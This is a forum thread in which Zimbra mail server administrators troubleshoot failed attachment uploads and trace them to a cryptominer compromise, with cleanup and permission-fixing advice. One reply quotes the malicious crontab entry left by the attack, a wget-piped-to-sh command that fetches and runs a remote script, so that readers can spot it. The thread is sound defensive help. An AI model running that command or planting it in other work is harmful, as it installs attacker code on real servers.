ERROR UPLOADING FILE AND UNABLE TO FORWARD ANY MAIL WITH ATTACHMENTS

[harsha.v]

Hi,

I am on zimbra Release 8.6.0_GA_1153.RHEL6_64_20141215151155 RHEL6_64 FOSS edition.

From past two days i am experiencing very strange behavior with zimbra , unable to upload any file more than 1mb , and unable to forward any received mail with attachments .
while forwarding it says IOEXCEPTION . while uploading it says error uploading . Kindly please help in this regards , i am unable to find the solution .

[JayPi]

Hi,

check the write permissions of '/opt/zimbra/data/tmp/upload'.
Maybe you system has been hacked. Look for /opt/zimbra/log/zmswatch binary
or /tmp/zmcat.

Best regards

[phoenix]

check the write permissions of '/opt/zimbra/data/tmp/upload'.

This is never the problem, it's a symptom of the hack. There is no reason for those permissions to have been changed and they never have on my server in the fourteen years I've been running Zimbra.

Maybe you system has been hacked. Look for /opt/zimbra/log/zmswatch binary or /tmp/zmcat.

This is the cause but there's more that needs to be done to clean up the mesds caused by the hack - there are plenty of threads on this topic in the forums.

[harsha.v]

hi guys ,

hi installed the latest patch , and even upgraded the server to 8.8.12, but the problem still persists. i request you all to kindly help in detailed with a procedure or any possible way .

[sandunwa]

We are also experiencing same issue, seeking advice.

[muhammadyousri]

if you patched and found binaries and removed it , try running " /opt/zimbra/libexec/zmfixperms " to fix the permission problem , if problem persists ,then there is still running process , check all process running with user zimbra and kill any suspicious ones


"

[phoenix]

hi installed the latest patch , and even upgraded the server to 8.8.12, but the problem still persists. i request you all to kindly help in detailed with a procedure or any possible way .

Installing the latest release/patch of ZCS doesn't fix the problem, you need to clean the hack from your server - there are plenty of threads/posts that describe, in detail, how to clean the hacked server and you should read those.

[psilvahr]

Hi,
Try this to restore correct function of Webmail and uploading of files:

Root access:

cd /opt/zimbra/mailboxd

find webapps -type d -exec chmod 0755 {} \;

find webapps -type f -exec chmod 0644 {} \;

chmod 755 /opt/zimbra/data/tmp/

chmod 755 /opt/zimbra/data/tmp/upload/

Works for me!

[mhammadqadir]

Dear All,

I am also facing this problem I am running Zimbra 8.7.1 GA FOSS. I was running perfectly from 1 years. Last month i see error in Admin GUI that service are not running. I try to fix it with restarting the system But failed. Now i am facing the same problem my users can't attachment in Web Client. Error logs show permission denied. So please if any one solve this problem let me text.

[Todorov]

Well, it seems to be the sympthom of hack. First of all, you should update your zimbra to the latest version and patch it. But it's not enough to solve the problem. You have to look for the wierd or new files, particularly with .pl or .sh extensions. I have seen several hacked zimbra servers with similar symthoms. And as far as I know, there's no automated way to restore the system. One must do some hand operations.

Before you start, read the following articles:
https://lorenzo.mile.si/zimbra-cve-2019 ... ction/961/
https://lorenzo.mile.si/zimbra-zmcat-zm ... -cpu/1018/
https://forums.zimbra.com/viewtopic.php?f=15&t=66251
viewtopic.php?t=66005
viewtopic.php?t=66031
viewtopic.php?t=65932&start=140

After that.
Control your CPU load. If it's abnormally high, find the process, which loads it.
Probably you'll have to look for the *.sh files in ~/log/ , for example, /opt/zimbra/log/zmswatch.sh
Delete it if exists, because it's a viral script by bitcoin miners, burn'em in hell to the end of days.

If your CPU load becomes normal, that's all right, let's continue.
Have a look at zimbra crontab file (crontab -e).
In the very end of it you may see the line(s)
* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
*/15 * * * * sh /opt/zimbra/log/zmswatch.sh
(They may be in the VERY-VERY end, thousands lines down. So simly cat the file /var/spool/cron/zimbra , if it has suspicious lines, it has been haked).

Then regenerate your crontab file this way: https://wiki.zimbra.com/wiki/Step_to_re ... imbra_user
After all theese steps you may have to do some additional ones, because the hackers may change some files and/or locations. The best practice here is to move your mailboxes to the totally new installation.

BUT, returning to your question,

The problem of attachment and resend messages lays in wrong permissions for the /opt/zimbra/data/tmp/upload/ directory.
So execute as root

Code: Select all

chmod -R 755 /opt/zimbra/data/tmp/upload/

- and that's it.
Maybe you'll have to change permissions even for the whole tmp directory:

Code: Select all

chmod -R 755 /opt/zimbra/data/tmp/

Sorry for my English.